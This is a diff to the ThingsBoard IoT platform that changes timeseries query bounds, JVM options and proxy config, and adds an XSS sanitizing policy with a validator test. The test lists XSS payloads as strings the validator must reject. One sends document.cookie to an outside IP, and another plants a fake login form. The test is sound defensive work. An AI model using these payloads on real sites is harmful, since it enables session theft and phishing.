public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvCompositeKey> {
@Query("SELECT tskv FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " +
"AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
List<TsKvEntity> findAllWithLimit(@Param("entityId") UUID entityId,
@Param("entityKey") int key,
@Param("startTs") long startTs,
@ -42,7 +42,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
@Transactional
@Modifying
@Query("DELETE FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " +
"AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
void delete(@Param("entityId") UUID entityId,
@Param("entityKey") int key,
@Param("startTs") long startTs,
@ -51,7 +51,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
@Async
@Query("SELECT new TsKvEntity(MAX(tskv.strValue)) FROM TsKvEntity tskv " +
"WHERE tskv.strValue IS NOT NULL " +
"AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
CompletableFuture<TsKvEntity> findStringMax(@Param("entityId") UUID entityId,
@Param("entityKey") int entityKey,
@Param("startTs") long startTs,
@ -63,7 +63,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
"SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
"SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
"'MAX') FROM TsKvEntity tskv " +
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
CompletableFuture<TsKvEntity> findNumericMax(@Param("entityId") UUID entityId,
@Param("entityKey") int entityKey,
@Param("startTs") long startTs,
@ -73,7 +73,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
@Async
@Query("SELECT new TsKvEntity(MIN(tskv.strValue)) FROM TsKvEntity tskv " +
"WHERE tskv.strValue IS NOT NULL " +
"AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
CompletableFuture<TsKvEntity> findStringMin(@Param("entityId") UUID entityId,
@Param("entityKey") int entityKey,
@Param("startTs") long startTs,
@ -85,7 +85,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
"SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
"SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
"'MIN') FROM TsKvEntity tskv " +
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
CompletableFuture<TsKvEntity> findNumericMin(
@Param("entityId") UUID entityId,
@Param("entityKey") int entityKey,
@ -98,7 +98,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
"SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
"SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
"SUM(CASE WHEN tskv.jsonValue IS NULL THEN 0 ELSE 1 END)) FROM TsKvEntity tskv " +
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
CompletableFuture<TsKvEntity> findCount(@Param("entityId") UUID entityId,
@Param("entityKey") int entityKey,
@Param("startTs") long startTs,
@ -110,7 +110,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
"SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
"SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
"'AVG') FROM TsKvEntity tskv " +
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
CompletableFuture<TsKvEntity> findAvg(@Param("entityId") UUID entityId,
@Param("entityKey") int entityKey,
@Param("startTs") long startTs,
@ -122,7 +122,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
"SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
"SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
"'SUM') FROM TsKvEntity tskv " +
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
CompletableFuture<TsKvEntity> findSum(@Param("entityId") UUID entityId,
@Param("entityKey") int entityKey,
@Param("startTs") long startTs,

8
dao/src/main/java/org/thingsboard/server/dao/timeseries/CassandraBaseTimeseriesDao.java

@ -550,8 +550,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD
+ "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM
+ "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM
+ "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM
+ "AND " + ModelConstants.TS_COLUMN + " > ? "
+ "AND " + ModelConstants.TS_COLUMN + " <= ?");
+ "AND " + ModelConstants.TS_COLUMN + " >= ? "
+ "AND " + ModelConstants.TS_COLUMN + " < ?");
}
return deleteStmt;
}
@ -740,8 +740,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD
+ "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM
+ "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM
+ "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM
+ "AND " + ModelConstants.TS_COLUMN + " > ? "
+ "AND " + ModelConstants.TS_COLUMN + " <= ?"
+ "AND " + ModelConstants.TS_COLUMN + " >= ? "
+ "AND " + ModelConstants.TS_COLUMN + " < ?"
+ (type == Aggregation.NONE ? " ORDER BY " + ModelConstants.TS_COLUMN + " " + orderBy + " LIMIT ?" : ""));
}
}

4
dao/src/main/resources/sql/schema-timescale.sql

@ -91,8 +91,8 @@ $$
DECLARE
tenant_cursor CURSOR FOR select tenant.id as tenant_id
from tenant;
tenant_id_record varchar;
customer_id_record varchar;
tenant_id_record uuid;
customer_id_record uuid;
tenant_ttl bigint;
customer_ttl bigint;
deleted_for_entities bigint;

162
dao/src/main/resources/xss-policy.xml

@ -0,0 +1,162 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!--
Copyright © 2016-2021 The Thingsboard Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<anti-samy-rules>
<directives>
<directive name="omitXmlDeclaration" value="true"/>
<directive name="omitDoctypeDeclaration" value="false"/>
<directive name="maxInputSize" value="100000"/>
<directive name="embedStyleSheets" value="false"/>
<directive name="useXHTML" value="true"/>
<directive name="formatOutput" value="true"/>
</directives>
<common-regexps>
<!--
From W3C:
This attribute assigns a class name or set of class names to an
element. Any number of elements may be assigned the same class
name or names. Multiple class names must be separated by white
space characters.
-->
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
<!-- force non-empty with a '+' at the end instead of '*'
-->
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
<!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
-->
<!-- ([\p{L}/ 0-9&amp;\#-.?=])*
-->
<regexp name="offsiteURL"
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
</common-regexps>
<common-attributes>
<attribute name="lang"
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
<regexp-list>
<regexp value="[a-zA-Z]{2,20}"/>
</regexp-list>
</attribute>
<attribute name="title"
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
<regexp-list>
<regexp name="htmlTitle"/>
</regexp-list>
</attribute>
<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
<attribute name="align"
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
<literal-list>
<literal value="center"/>
<literal value="left"/>
<literal value="right"/>
<literal value="justify"/>
<literal value="char"/>
</literal-list>
</attribute>
<attribute name="style"
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
</common-attributes>
<global-tag-attributes>
<attribute name="title"/>
<attribute name="lang"/>
<attribute name="style"/>
</global-tag-attributes>
<tags-to-encode>
<tag>g</tag>
<tag>grin</tag>
</tags-to-encode>
<tag-rules>
<tag name="script" action="remove"/>
<tag name="noscript" action="remove"/>
<tag name="iframe" action="remove"/>
<tag name="frameset" action="remove"/>
<tag name="frame" action="remove"/>
<tag name="noframes" action="remove"/>
<tag name="head" action="remove"/>
<tag name="title" action="remove"/>
<tag name="base" action="remove"/>
<tag name="style" action="remove"/>
<tag name="link" action="remove"/>
<tag name="input" action="remove"/>
<tag name="textarea" action="remove"/>
<tag name="br" action="remove"/>
<tag name="p" action="remove"/>
<tag name="div" action="remove"/>
<tag name="span" action="remove"/>
<tag name="i" action="remove"/>
<tag name="b" action="remove"/>
<tag name="strong" action="remove"/>
<tag name="s" action="remove"/>
<tag name="strike" action="remove"/>
<tag name="u" action="remove"/>
<tag name="em" action="remove"/>
<tag name="blockquote" action="remove"/>
<tag name="tt" action="remove"/>
<tag name="a" action="remove"/>
<tag name="ul" action="remove"/>
<tag name="ol" action="remove"/>
<tag name="li" action="remove"/>
<tag name="dl" action="remove"/>
<tag name="dt" action="remove"/>
<tag name="dd" action="remove"/>
</tag-rules>
<css-rules>
<property name="text-decoration" default="none"
description="">
<category-list>
<category value="visual"/>
</category-list>
<literal-list>
<literal value="underline"/>
<literal value="overline"/>
<literal value="line-through"/>
</literal-list>
</property>
</css-rules>
</anti-samy-rules>

5
dao/src/test/java/org/thingsboard/server/dao/SqlDaoServiceTestSuite.java

@ -24,7 +24,10 @@ import java.util.Arrays;
@RunWith(ClasspathSuite.class)
@ClassnameFilters({
"org.thingsboard.server.dao.service.sql.*SqlTest"
"org.thingsboard.server.dao.service.sql.*SqlTest",
"org.thingsboard.server.dao.service.attributes.sql.*SqlTest",
"org.thingsboard.server.dao.service.event.sql.*SqlTest",
"org.thingsboard.server.dao.service.timeseries.sql.*SqlTest"
})
public class SqlDaoServiceTestSuite {

52
dao/src/test/java/org/thingsboard/server/dao/service/NoXssValidatorTest.java

@ -0,0 +1,52 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.dao.service;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.ValueSource;
import javax.validation.ConstraintValidatorContext;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.mockito.Mockito.mock;
public class NoXssValidatorTest {
private static NoXssValidator validator;
@BeforeAll
public static void beforeAll() {
validator = new NoXssValidator();
validator.initialize(null);
}
@ParameterizedTest
@ValueSource(strings = {
"aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
"9090<body onload=alert('xsssss')>90909",
"qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
"bambam<script>alert(document.cookie)</script>",
"<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
"<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
" <img src= \"http://site.com/\" > ",
"123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
})
public void testIsNotValid(String stringWithXss) {
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
assertFalse(isValid);
}
}

28
dao/src/test/java/org/thingsboard/server/dao/service/timeseries/BaseTimeseriesServiceTest.java

@ -143,52 +143,52 @@ public abstract class BaseTimeseriesServiceTest extends AbstractServiceTest {
public void testFindByQueryAscOrder() throws Exception {
DeviceId deviceId = new DeviceId(Uuids.timeBased());
saveEntries(deviceId, TS - 3);
saveEntries(deviceId, TS - 2);
saveEntries(deviceId, TS - 1);
saveEntries(deviceId, TS);
List<ReadTsKvQuery> queries = new ArrayList<>();
queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "ASC"));
List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get();
Assert.assertEquals(3, entries.size());
Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0));
Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));
Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2));
Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0));
Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2));
EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY));
entries = tsService.findAll(tenantId, entityView.getId(), queries).get();
Assert.assertEquals(3, entries.size());
Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0));
Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));
Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2));
Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0));
Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2));
}
@Test
public void testFindByQueryDescOrder() throws Exception {
DeviceId deviceId = new DeviceId(Uuids.timeBased());
saveEntries(deviceId, TS - 3);
saveEntries(deviceId, TS - 2);
saveEntries(deviceId, TS - 1);
saveEntries(deviceId, TS);
List<ReadTsKvQuery> queries = new ArrayList<>();
queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "DESC"));
List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get();
Assert.assertEquals(3, entries.size());
Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0));
Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));
Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2));
Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0));
Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2));
EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY));
entries = tsService.findAll(tenantId, entityView.getId(), queries).get();
Assert.assertEquals(3, entries.size());
Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0));
Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));
Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2));
Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0));
Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2));
}
@Test

162
dao/src/test/resources/xss-policy.xml

@ -0,0 +1,162 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!--
Copyright © 2016-2021 The Thingsboard Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<anti-samy-rules>
<directives>
<directive name="omitXmlDeclaration" value="true"/>
<directive name="omitDoctypeDeclaration" value="false"/>
<directive name="maxInputSize" value="100000"/>
<directive name="embedStyleSheets" value="false"/>
<directive name="useXHTML" value="true"/>
<directive name="formatOutput" value="true"/>
</directives>
<common-regexps>
<!--
From W3C:
This attribute assigns a class name or set of class names to an
element. Any number of elements may be assigned the same class
name or names. Multiple class names must be separated by white
space characters.
-->
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
<!-- force non-empty with a '+' at the end instead of '*'
-->
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
<!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
-->
<!-- ([\p{L}/ 0-9&amp;\#-.?=])*
-->
<regexp name="offsiteURL"
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
</common-regexps>
<common-attributes>
<attribute name="lang"
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
<regexp-list>
<regexp value="[a-zA-Z]{2,20}"/>
</regexp-list>
</attribute>
<attribute name="title"
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
<regexp-list>
<regexp name="htmlTitle"/>
</regexp-list>
</attribute>
<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
<attribute name="align"
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
<literal-list>
<literal value="center"/>
<literal value="left"/>
<literal value="right"/>
<literal value="justify"/>
<literal value="char"/>
</literal-list>
</attribute>
<attribute name="style"
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
</common-attributes>
<global-tag-attributes>
<attribute name="title"/>
<attribute name="lang"/>
<attribute name="style"/>
</global-tag-attributes>
<tags-to-encode>
<tag>g</tag>
<tag>grin</tag>
</tags-to-encode>
<tag-rules>
<tag name="script" action="remove"/>
<tag name="noscript" action="remove"/>
<tag name="iframe" action="remove"/>
<tag name="frameset" action="remove"/>
<tag name="frame" action="remove"/>
<tag name="noframes" action="remove"/>
<tag name="head" action="remove"/>
<tag name="title" action="remove"/>
<tag name="base" action="remove"/>
<tag name="style" action="remove"/>
<tag name="link" action="remove"/>
<tag name="input" action="remove"/>
<tag name="textarea" action="remove"/>
<tag name="br" action="remove"/>
<tag name="p" action="remove"/>
<tag name="div" action="remove"/>
<tag name="span" action="remove"/>
<tag name="i" action="remove"/>
<tag name="b" action="remove"/>
<tag name="strong" action="remove"/>
<tag name="s" action="remove"/>
<tag name="strike" action="remove"/>
<tag name="u" action="remove"/>
<tag name="em" action="remove"/>
<tag name="blockquote" action="remove"/>
<tag name="tt" action="remove"/>
<tag name="a" action="remove"/>
<tag name="ul" action="remove"/>
<tag name="ol" action="remove"/>
<tag name="li" action="remove"/>
<tag name="dl" action="remove"/>
<tag name="dt" action="remove"/>
<tag name="dd" action="remove"/>
</tag-rules>
<css-rules>
<property name="text-decoration" default="none"
description="">
<category-list>
<category value="visual"/>
</category-list>
<literal-list>
<literal value="underline"/>
<literal value="overline"/>
<literal value="line-through"/>
</literal-list>
</property>
</css-rules>
</anti-samy-rules>

2
docker/docker-compose.yml

@ -230,7 +230,7 @@ services:
haproxy:
restart: always
container_name: "${LOAD_BALANCER_NAME}"
image: xalauc/haproxy-certbot:1.7.9
image: thingsboard/haproxy-certbot:1.3.0
volumes:
- ./haproxy/config:/config
- ./haproxy/letsencrypt:/etc/letsencrypt

4
docker/haproxy/config/haproxy.cfg

@ -54,7 +54,7 @@ frontend http-in
option forwardfor
reqadd X-Forwarded-Proto:\ http
http-request add-header "X-Forwarded-Proto" "http"
acl transport_http_acl path_beg /api/v1/
acl letsencrypt_http_acl path_beg /.well-known/acme-challenge/
@ -73,7 +73,7 @@ frontend https_in
option forwardfor
reqadd X-Forwarded-Proto:\ https
http-request add-header "X-Forwarded-Proto" "https"
acl transport_http_acl path_beg /api/v1/
acl tb_api_acl path_beg /api/ /swagger /webjars /v2/ /static/rulenode/ /oauth2/ /login/oauth2/ /static/widgets/

10
k8s/common/tb-coap-transport-configmap.yml

@ -23,11 +23,11 @@ metadata:
name: tb-coap-transport-config
data:
conf: |
export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-coap-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"
export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"
export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"
export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError"
export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-coap-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}-heapdump.bin"
export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
export LOG_FILENAME=tb-coap-transport.out
export LOADER_PATH=/usr/share/tb-coap-transport/conf
logback: |

10
k8s/common/tb-http-transport-configmap.yml

@ -23,11 +23,11 @@ metadata:
name: tb-http-transport-config
data:
conf: |
export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-http-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"
export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"
export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"
export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError"
export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-http-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}-heapdump.bin"
export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
export LOG_FILENAME=tb-http-transport.out
export LOADER_PATH=/usr/share/tb-http-transport/conf
logback: |

10
k8s/common/tb-mqtt-transport-configmap.yml

@ -23,11 +23,11 @@ metadata:
name: tb-mqtt-transport-config
data:
conf: |
export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"
export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"
export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"
export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError"
export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-heapdump.bin"
export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
export LOG_FILENAME=tb-mqtt-transport.out
export LOADER_PATH=/usr/share/tb-mqtt-transport/conf
logback: |

10
k8s/common/tb-node-configmap.yml

@ -24,11 +24,11 @@ metadata:
data:
conf: |
export JAVA_OPTS="$JAVA_OPTS -Dplatform=deb -Dinstall.data_dir=/usr/share/thingsboard/data"
export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/thingsboard/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"
export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"
